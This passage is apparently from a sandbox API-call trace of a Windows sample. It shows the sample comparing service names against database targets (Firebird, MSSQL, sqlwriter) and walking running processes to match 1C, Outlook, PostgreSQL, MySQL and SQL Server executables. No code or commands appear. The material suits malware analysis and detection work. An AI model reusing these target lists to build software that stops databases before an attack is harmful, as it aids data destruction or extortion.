lstrlenW (lpString="CscService") returned 10 [0191.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0191.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0191.239] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0191.239] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0191.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0191.239] lstrlenW (lpString="DcomLaunch") returned 10 [0191.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0191.239] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0191.239] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0191.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0191.239] lstrlenW (lpString="Dhcp") returned 4 [0191.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0191.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0191.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0191.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0191.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0191.240] lstrlenW (lpString="Dnscache") returned 8 [0191.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0191.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0191.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0191.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0191.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0191.240] lstrlenW (lpString="DPS") returned 3 [0191.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0191.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0191.240] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0191.240] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0191.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0191.240] lstrlenW (lpString="eventlog") returned 8 [0191.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0191.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0191.240] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0191.240] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0191.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0191.240] lstrlenW (lpString="EventSystem") returned 11 [0191.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0191.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0191.240] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0191.240] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0191.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0191.240] lstrlenW (lpString="FontCache") returned 9 [0191.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0191.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0191.240] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0191.240] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0191.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0191.241] lstrlenW (lpString="gpsvc") returned 5 [0191.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0191.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0191.241] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0191.241] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0191.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0191.241] lstrlenW (lpString="iphlpsvc") returned 8 [0191.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0191.241] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0191.241] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0191.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0191.241] lstrlenW (lpString="LanmanServer") returned 12 [0191.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0191.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0191.241] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0191.241] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0191.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0191.241] lstrlenW (lpString="LanmanWorkstation") returned 17 [0191.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0191.241] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0191.241] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0191.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0191.241] lstrlenW (lpString="lmhosts") returned 7 [0191.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0191.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0191.241] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0191.241] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0191.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0191.241] lstrlenW (lpString="MMCSS") returned 5 [0191.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0191.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0191.242] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0191.242] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0191.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0191.242] lstrlenW (lpString="MpsSvc") returned 6 [0191.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0191.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0191.242] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0191.242] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0191.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0191.242] lstrlenW (lpString="Netman") returned 6 [0191.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0191.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0191.242] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0191.242] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0191.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0191.242] lstrlenW (lpString="netprofm") returned 8 [0191.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0191.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0191.242] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0191.242] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0191.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0191.242] lstrlenW (lpString="NlaSvc") returned 6 [0191.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0191.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0191.242] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0191.242] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0191.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0191.242] lstrlenW (lpString="nsi") returned 3 [0191.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0191.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0191.242] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0191.242] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0191.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0191.243] lstrlenW (lpString="PcaSvc") returned 6 [0191.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0191.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0191.243] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0191.243] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0191.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0191.243] lstrlenW (lpString="PlugPlay") returned 8 [0191.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0191.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0191.243] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0191.243] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0191.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0191.243] lstrlenW (lpString="Power") returned 5 [0191.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0191.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0191.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0191.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0191.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0191.243] lstrlenW (lpString="ProfSvc") returned 7 [0191.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0191.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0191.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0191.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0191.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0191.243] lstrlenW (lpString="RpcEptMapper") returned 12 [0191.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0191.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0191.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0191.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0191.243] lstrlenW (lpString="RpcSs") returned 5 [0191.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0191.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0191.244] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0191.244] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0191.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0191.244] lstrlenW (lpString="SamSs") returned 5 [0191.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0191.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0191.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0191.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0191.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0191.244] lstrlenW (lpString="Schedule") returned 8 [0191.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0191.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0191.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0191.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0191.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0191.244] lstrlenW (lpString="SENS") returned 4 [0191.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0191.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0191.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0191.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0191.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0191.244] lstrlenW (lpString="ShellHWDetection") returned 16 [0191.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0191.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0191.244] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0191.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0191.244] lstrlenW (lpString="Spooler") returned 7 [0191.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0191.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0191.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0191.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0191.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0191.245] lstrlenW (lpString="sppsvc") returned 6 [0191.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0191.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0191.245] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0191.245] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0191.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0191.245] lstrlenW (lpString="SysMain") returned 7 [0191.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0191.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0191.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0191.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0191.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0191.245] lstrlenW (lpString="Themes") returned 6 [0191.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0191.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0191.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0191.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0191.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0191.245] lstrlenW (lpString="TrkWks") returned 6 [0191.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0191.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0191.246] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0191.246] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0191.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0191.246] lstrlenW (lpString="UxSms") returned 5 [0191.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0191.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0191.246] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0191.246] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0191.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0191.246] lstrlenW (lpString="WdiServiceHost") returned 14 [0191.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0191.246] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0191.246] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0191.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0191.247] lstrlenW (lpString="WdiSystemHost") returned 13 [0191.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0191.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0191.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0191.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0191.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0191.247] lstrlenW (lpString="WinDefend") returned 9 [0191.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0191.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0191.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0191.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0191.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0191.247] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0191.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0191.247] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0191.247] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0191.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0191.247] lstrlenW (lpString="Winmgmt") returned 7 [0191.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0191.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0191.248] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0191.248] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0191.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0191.248] lstrlenW (lpString="wscsvc") returned 6 [0191.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0191.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0191.248] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0191.248] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0191.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0191.248] lstrlenW (lpString="wuauserv") returned 8 [0191.248] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0191.248] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0191.248] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0191.248] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0191.248] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0191.248] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5291e0 | out: hHeap=0x4f0000) returned 1 [0191.248] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0191.251] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.252] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.252] lstrlenW (lpString="System") returned 6 [0191.253] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0191.253] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0191.253] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0191.253] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0191.253] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0191.253] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0191.253] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0191.253] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.254] lstrlenW (lpString="smss.exe") returned 8 [0191.254] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0191.254] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0191.254] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0191.254] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0191.254] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0191.254] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0191.254] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0191.254] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.255] lstrlenW (lpString="csrss.exe") returned 9 [0191.255] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.256] lstrlenW (lpString="wininit.exe") returned 11 [0191.256] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.256] lstrlenW (lpString="csrss.exe") returned 9 [0191.256] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.257] lstrlenW (lpString="winlogon.exe") returned 12 [0191.257] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.258] lstrlenW (lpString="services.exe") returned 12 [0191.258] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.258] lstrlenW (lpString="lsass.exe") returned 9 [0191.258] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0191.259] lstrlenW (lpString="lsm.exe") returned 7 [0191.259] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.260] lstrlenW (lpString="svchost.exe") returned 11 [0191.260] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.261] lstrlenW (lpString="svchost.exe") returned 11 [0191.261] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.262] lstrlenW (lpString="svchost.exe") returned 11 [0191.262] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.262] lstrlenW (lpString="svchost.exe") returned 11 [0191.262] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.263] lstrlenW (lpString="svchost.exe") returned 11 [0191.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, 